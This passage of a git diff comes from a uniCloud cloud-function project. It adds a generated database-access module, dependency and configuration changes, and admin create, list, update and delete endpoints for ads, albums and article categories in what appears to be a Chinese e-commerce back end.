+ // 支持事务
+ res = await vk.baseDao.add({
+ ...obj,
+ dbName: dbName.userContract,
+ });
+ } else {
+ // 不支持事务
+ res = await vk.baseDao.add({
+ dbName: dbName.userContract,
+ dataJson: obj
+ });
+ }
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 增 - 添加多条记录
+ * @param {Object} dataJson 添加的数据
+ * 调用示例
+await vk.daoCenter.userContractDao.adds(dataArr);
+ */
+dao.adds = async (dataArr) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.adds({
+ dbName: dbName.userContract,
+ dataJson: dataArr
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 删 - 删除多条记录
+ * @param {Object} whereJson 条件
+ * 调用示例
+await vk.daoCenter.userContractDao.del({
+
+});
+ */
+dao.del = async (whereJson) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.del({
+ dbName: dbName.userContract,
+ whereJson
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 删 - 据ID删除单条数据
+ * @param {String} _id
+ * 调用示例
+await vk.daoCenter.userContractDao.deleteById(_id);
+或
+await vk.daoCenter.userContractDao.deleteById(_id, transaction);
+ */
+dao.deleteById = async (_id, db) => {
+ let { vk, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.deleteById({
+ db,
+ dbName: dbName.userContract,
+ id: _id
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 改 - 批量修改
+ * @param {Object} whereJson 条件
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.userContractDao.update({
+ whereJson:{
+
+ },
+ dataJson:{
+
+ }
+});
+ */
+dao.update = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.update({
+ ...obj,
+ dbName: dbName.userContract,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+
+/**
+ * 改 - 根据ID修改数据
+ * @param {String} _id
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.userContractDao.updateById({
+ id: _id,
+ dataJson: {
+
+ }
+});
+ */
+dao.updateById = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.updateById({
+ ...obj,
+ dbName: dbName.userContract
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 改 - 更新并返回更新后的数据(无论条件匹配到多少条记录,只会修改第一条记录,同时返回修改后的数据)
+ * @param {Object} whereJson 条件
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.userContractDao.updateAndReturn({
+ whereJson:{
+
+ },
+ dataJson:{
+
+ }
+});
+ */
+dao.updateAndReturn = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.updateAndReturn({
+ ...obj,
+ dbName: dbName.userContract
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 根据ID判断存在则修改,不存在则添加
+ * @param {String} id 如果传了id参数,则会与dataJson中的_id判断是否一致,不一致会报错
+ * @param {Object} dataJson 修改的数据
+ * 调用示例
+await vk.daoCenter.userContractDao.setById({
+ dataJson: {
+
+ }
+});
+ */
+dao.setById = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.setById({
+ ...obj,
+ dbName: dbName.userContract
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 获取记录总条数
+ * @param {Object} whereJson 条件
+ * 调用示例
+await vk.daoCenter.userContractDao.count(whereJson);
+ */
+dao.count = async (whereJson) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.count({
+ dbName: dbName.userContract,
+ whereJson
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求和
+ * @param {String} fieldName 需要求和的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let userContractSum = await vk.daoCenter.userContractDao.sum({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.sum = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.sum({
+ ...obj,
+ dbName: dbName.userContract,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求最大值
+ * @param {String} fieldName 需要求最大值的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let userContractMax = await vk.daoCenter.userContractDao.max({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.max = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.max({
+ ...obj,
+ dbName: dbName.userContract,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求最小值
+ * @param {String} fieldName 需要求最小值的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let userContractMin = await vk.daoCenter.userContractDao.min({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.min = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.min({
+ ...obj,
+ dbName: dbName.userContract,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 求最平均值
+ * @param {String} fieldName 需要求最平均值的字段名
+ * @param {Object} whereJson 筛选条件
+ * 调用示例
+let userContractAvg = await vk.daoCenter.userContractDao.avg({
+ fieldName: "",
+ whereJson: {
+
+ }
+});
+ */
+dao.avg = async (obj) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.avg({
+ ...obj,
+ dbName: dbName.userContract,
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+
+/**
+ * 查 - 获取数据列表
+ * 调用示例
+let userContractList = await vk.daoCenter.userContractDao.select({
+ pageIndex:1,
+ pageSize:20,
+ getMain:false,
+ whereJson:{
+
+ },
+ fieldJson:{},
+ sortArr: [{"name": "_add_time", "type":"desc" }],
+});
+ */
+dao.select = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.select({
+ ...obj,
+ dbName: dbName.userContract
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 获取数据列表
+ * 调用示例
+let userContractList = await vk.daoCenter.userContractDao.selects({
+ pageIndex:1,
+ pageSize:20,
+ getMain:false,
+ whereJson:{
+
+ },
+ fieldJson:{},
+ sortArr: [{"name": "_add_time", "type":"desc" }],
+ // 副表列表
+ foreignDB:[
+ {
+ dbName:"副表表名",
+ localKey:"主表外键名",
+ foreignKey:"副表外键名",
+ as:"副表as字段",
+ limit:1
+ }
+ ]
+});
+ */
+dao.selects = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.selects({
+ ...obj,
+ dbName: dbName.userContract
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+
+/**
+ * 查 - 获取数据列表
+ * 调用示例
+res = await vk.daoCenter.userContractDao.getTableData({
+ data
+});
+ */
+dao.getTableData = async (obj = {}) => {
+ let { vk, db, _ } = util;
+ let res = {};
+ // 数据库操作开始-----------------------------------------------------------
+ res = await vk.baseDao.getTableData({
+ ...obj,
+ dbName: dbName.userContract
+ });
+ // 数据库操作结束-----------------------------------------------------------
+ return res;
+};
+module.exports = dao;
diff --git a/uniCloud-tcb/cloudfunctions/router/dao/modules/userDao.js b/uniCloud-tcb/cloudfunctions/router/dao/modules/userDao.js
index 5418321..00ab47a 100644
--- a/uniCloud-tcb/cloudfunctions/router/dao/modules/userDao.js
+++ b/uniCloud-tcb/cloudfunctions/router/dao/modules/userDao.js
@@ -377,7 +377,7 @@ let userList = await vk.daoCenter.userDao.select({
},
fieldJson:{},
- sortArr:[{ "name":"_id", "type":"desc" }],
+ sortArr: [{"name": "_add_time", "type":"desc" }],
});
*/
dao.select = async (obj = {}) => {
@@ -403,7 +403,7 @@ let userList = await vk.daoCenter.userDao.selects({
},
fieldJson:{},
- sortArr:[{ "name":"_id", "type":"desc" }],
+ sortArr: [{"name": "_add_time", "type":"desc" }],
// 副表列表
foreignDB:[
{
diff --git a/uniCloud-tcb/cloudfunctions/router/middleware/modules/returnUserInfoFilter.js b/uniCloud-tcb/cloudfunctions/router/middleware/modules/returnUserInfoFilter.js
index 1df61b9..c39e975 100644
--- a/uniCloud-tcb/cloudfunctions/router/middleware/modules/returnUserInfoFilter.js
+++ b/uniCloud-tcb/cloudfunctions/router/middleware/modules/returnUserInfoFilter.js
@@ -6,6 +6,7 @@
module.exports = [{
id: "returnUserInfo",
+ // 符合下方正则条件的云函数才会进入该中间件
regExp: [
"^user/pub/login(.*)",
"^user/pub/register(.*)",
diff --git a/uniCloud-tcb/cloudfunctions/router/package-lock.json b/uniCloud-tcb/cloudfunctions/router/package-lock.json
new file mode 100644
index 0000000..3efc7fd
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/package-lock.json
@@ -0,0 +1,111 @@
+{
+ "name": "router",
+ "version": "1.0.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "router",
+ "version": "1.0.0",
+ "license": "ISC",
+ "dependencies": {
+ "crypto-js": "^4.2.0",
+ "dayjs": "^1.11.10",
+ "md5": "^2.3.0",
+ "pdf-parse": "^1.1.1",
+ "uni-config-center": "file:../../../uni_modules/uni-config-center/uniCloud/cloudfunctions/common/uni-config-center",
+ "uni-id": "file:../../../uni_modules/uni-id/uniCloud/cloudfunctions/common/uni-id",
+ "vk-unicloud": "file:../../../uni_modules/vk-unicloud/uniCloud/cloudfunctions/common/vk-unicloud"
+ }
+ },
+ "../../../uni_modules/uni-config-center/uniCloud/cloudfunctions/common/uni-config-center": {
+ "version": "0.0.3",
+ "license": "Apache-2.0"
+ },
+ "../../../uni_modules/uni-id/uniCloud/cloudfunctions/common/uni-id": {
+ "version": "3.3.28",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "uni-config-center": "file:../../../../../uni-config-center/uniCloud/cloudfunctions/common/uni-config-center"
+ }
+ },
+ "../../../uni_modules/vk-unicloud/uniCloud/cloudfunctions/common/vk-unicloud": {
+ "version": "2.15.3",
+ "license": "Apache-2.0"
+ },
+ "node_modules/charenc": {
+ "version": "0.0.2",
+ "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz",
+ "integrity": "sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==",
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/crypt": {
+ "version": "0.0.2",
+ "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz",
+ "integrity": "sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==",
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/crypto-js": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz",
+ "integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q==",
+ "deprecated": "Active development of CryptoJS has been discontinued. This library is no longer maintained."
+ },
+ "node_modules/dayjs": {
+ "version": "1.11.23",
+ "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.23.tgz",
+ "integrity": "sha512-QDTCU0M0MxR3hQfnlDJfwekQiaanm1ubOD231u73WBckQ/fsamwRLiE2GBz6D3a/xF1NgfiDLJjXBa1hYOYTtQ=="
+ },
+ "node_modules/is-buffer": {
+ "version": "1.1.6",
+ "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
+ "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w=="
+ },
+ "node_modules/md5": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz",
+ "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==",
+ "dependencies": {
+ "charenc": "0.0.2",
+ "crypt": "0.0.2",
+ "is-buffer": "~1.1.6"
+ }
+ },
+ "node_modules/node-ensure": {
+ "version": "0.0.0",
+ "resolved": "https://registry.npmjs.org/node-ensure/-/node-ensure-0.0.0.tgz",
+ "integrity": "sha512-DRI60hzo2oKN1ma0ckc6nQWlHU69RH6xN0sjQTjMpChPfTYvKZdcQFfdYK2RWbJcKyUizSIy/l8OTGxMAM1QDw=="
+ },
+ "node_modules/pdf-parse": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/pdf-parse/-/pdf-parse-1.1.4.tgz",
+ "integrity": "sha512-XRIRcLgk6ZnUbsHsYXExMw+krrPE81hJ6FQPLdBNhhBefqIQKXu/WeTgNBGSwPrfU0v+UCEwn7AoAUOsVKHFvQ==",
+ "dependencies": {
+ "node-ensure": "^0.0.0"
+ },
+ "engines": {
+ "node": ">=6.8.1"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/mehmet-kozan"
+ }
+ },
+ "node_modules/uni-config-center": {
+ "resolved": "../../../uni_modules/uni-config-center/uniCloud/cloudfunctions/common/uni-config-center",
+ "link": true
+ },
+ "node_modules/uni-id": {
+ "resolved": "../../../uni_modules/uni-id/uniCloud/cloudfunctions/common/uni-id",
+ "link": true
+ },
+ "node_modules/vk-unicloud": {
+ "resolved": "../../../uni_modules/vk-unicloud/uniCloud/cloudfunctions/common/vk-unicloud",
+ "link": true
+ }
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/package.json b/uniCloud-tcb/cloudfunctions/router/package.json
index f7b7059..5f2cfc7 100644
--- a/uniCloud-tcb/cloudfunctions/router/package.json
+++ b/uniCloud-tcb/cloudfunctions/router/package.json
@@ -1,7 +1,7 @@
{
"name": "router",
"version": "1.0.0",
- "description": "在router目录下执行 npm i",
+ "description": "【开箱即用】vk-uniCloud-router - 云函数路由模式 - uniCloud开发框架 - 已集成uni-id",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
@@ -10,6 +10,10 @@
"author": "",
"license": "ISC",
"dependencies": {
+ "crypto-js": "^4.2.0",
+ "dayjs": "^1.11.10",
+ "md5": "^2.3.0",
+ "pdf-parse": "^1.1.1",
"uni-config-center": "file:../../../uni_modules/uni-config-center/uniCloud/cloudfunctions/common/uni-config-center",
"uni-id": "file:../../../uni_modules/uni-id/uniCloud/cloudfunctions/common/uni-id",
"vk-unicloud": "file:../../../uni_modules/vk-unicloud/uniCloud/cloudfunctions/common/vk-unicloud"
@@ -18,11 +22,12 @@
"cloudfunction-config": {
"concurrency": 1,
"memorySize": 512,
- "path": "",
- "timeout": 60,
+ "path": "/http/router",
+ "timeout": 600,
"triggers": [],
- "runtime": "Nodejs12",
"keepRunningAfterReturn": false
},
- "extensions": {}
-}
\ No newline at end of file
+ "extensions": {
+ "uni-cloud-sms": {}
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/router.param.json b/uniCloud-tcb/cloudfunctions/router/router.param.json
index 1e0a277..580d5c7 100644
--- a/uniCloud-tcb/cloudfunctions/router/router.param.json
+++ b/uniCloud-tcb/cloudfunctions/router/router.param.json
@@ -6,8 +6,9 @@
{
"uni_id_token":"",
- "$url":"template/openapi/weixin/pub/getTemplateList",
+ "$url":"template/db_api/pub/tree",
"data":{
-
+ "username":"admin",
+ "password":"123456"
}
}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/add.js b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/add.js
new file mode 100644
index 0000000..f51743c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/add.js
@@ -0,0 +1,43 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const adKey = parseInt(data.adKey)
+ const categoryFilterAdKeys = [9, 10, 11, 12, 13, 14, 112, 122]
+
+ if ([36, 37, 38].includes(adKey) && !data.spotGoodsId) {
+ return {code: -1, msg: '请选择现货'}
+ }
+ if (categoryFilterAdKeys.includes(adKey) && data.filterMode === 'category' && !(Array.isArray(data.categoryIds) ? data.categoryIds.length : (data.categoryId || data.categoryName))) {
+ return {code: -1, msg: '请选择分类'}
+ }
+ if (categoryFilterAdKeys.includes(adKey) && data.filterMode === 'category' && !(data.region && data.region.province && data.region.province.code)) {
+ return {code: -1, msg: '请选择区域'}
+ }
+ if (![36, 37, 38].includes(adKey) && data.filterMode !== 'category' && data.type === 'company' && !data.companyId) {
+ return {code: -1, msg: '请选择指定公司'}
+ }
+ if (![36, 37, 38].includes(adKey) && data.filterMode !== 'category' && data.type === 'goods' && !data.goodsId) {
+ return {code: -1, msg: '请选择指定商品'}
+ }
+
+ await vk.baseDao.add({
+ dbName: 'jjx-ad',
+ dataJson: data
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/delete.js b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/delete.js
new file mode 100644
index 0000000..5962ea9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/delete.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-ad',
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/list.js b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/list.js
new file mode 100644
index 0000000..19944b2
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/list.js
@@ -0,0 +1,60 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/list 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, sortRule} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const whereJson = {}
+ if (!vk.pubfn.isNull(data.formData) && !vk.pubfn.isNull(data.formData.adKey))
+ whereJson.adKey = data.formData.adKey
+ res = await vk.baseDao.selects({
+ dbName: 'jjx-ad',
+ pageIndex,
+ pageSize,
+ whereJson,
+ getCount: true,
+ sortArr: sortRule && sortRule.length ? sortRule : [
+ {name: "_add_time", type: "desc"},
+ ],
+ });
+
+ for (let i = 0; i < res.rows.length; i++) {
+ if (res.rows[i].companyId) {
+ res.rows[i].company = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ _id: res.rows[i].companyId
+ },
+ });
+ }
+ if (res.rows[i].goodsId) {
+ res.rows[i].goods = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-goods',
+ whereJson: {
+ _id: res.rows[i].goodsId
+ },
+ });
+ }
+ if (res.rows[i].spotGoodsId) {
+ res.rows[i].spotGoods = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-spot-goods',
+ whereJson: {
+ _id: res.rows[i].spotGoodsId
+ },
+ });
+ }
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/update.js b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/update.js
new file mode 100644
index 0000000..6bdccaf
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/ad/sys/update.js
@@ -0,0 +1,44 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/update 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const adKey = parseInt(data.adKey)
+ const categoryFilterAdKeys = [9, 10, 11, 12, 13, 14, 112, 122]
+
+ if ([36, 37, 38].includes(adKey) && !data.spotGoodsId) {
+ return {code: -1, msg: '请选择现货'}
+ }
+ if (categoryFilterAdKeys.includes(adKey) && data.filterMode === 'category' && !(Array.isArray(data.categoryIds) ? data.categoryIds.length : (data.categoryId || data.categoryName))) {
+ return {code: -1, msg: '请选择分类'}
+ }
+ if (categoryFilterAdKeys.includes(adKey) && data.filterMode === 'category' && !(data.region && data.region.province && data.region.province.code)) {
+ return {code: -1, msg: '请选择区域'}
+ }
+ if (![36, 37, 38].includes(adKey) && data.filterMode !== 'category' && data.type === 'company' && !data.companyId) {
+ return {code: -1, msg: '请选择指定公司'}
+ }
+ if (![36, 37, 38].includes(adKey) && data.filterMode !== 'category' && data.type === 'goods' && !data.goodsId) {
+ return {code: -1, msg: '请选择指定商品'}
+ }
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-ad',
+ dataJson: data,
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/add.js b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/add.js
new file mode 100644
index 0000000..c6a7413
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/add.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.add({
+ dbName: 'jjx-album',
+ dataJson: data
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/delete.js b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/delete.js
new file mode 100644
index 0000000..250aaf9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/delete.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-album',
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/list.js b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/list.js
new file mode 100644
index 0000000..ed83d17
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/list.js
@@ -0,0 +1,42 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/list 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, sortRule} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: 'jjx-album',
+ pageIndex,
+ pageSize,
+ getCount: true,
+ sortArr: sortRule && sortRule.length ? sortRule : [
+ {name: "sort", type: "asc"},
+ {name: "_add_time", type: "desc"},
+ ],
+ });
+
+ for (let i = 0; i < res.rows.length; i++) {
+ if (res.rows[i].companyId) {
+ res.rows[i].company = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ _id: res.rows[i].companyId
+ },
+ });
+ }
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/update.js b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/update.js
new file mode 100644
index 0000000..0067e01
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/album/sys/update.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/update 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-album',
+ dataJson: data,
+ id: data._id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/add.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/add.js
new file mode 100644
index 0000000..f6e6d3f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/add.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.add({
+ dbName: 'jjx-article-category',
+ dataJson: data
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/delete.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/delete.js
new file mode 100644
index 0000000..dcf3a8a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/delete.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-article-category',
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/list.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/list.js
new file mode 100644
index 0000000..c73819e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/list.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/list 前端调用的url参数地址
+ * data 请求参数
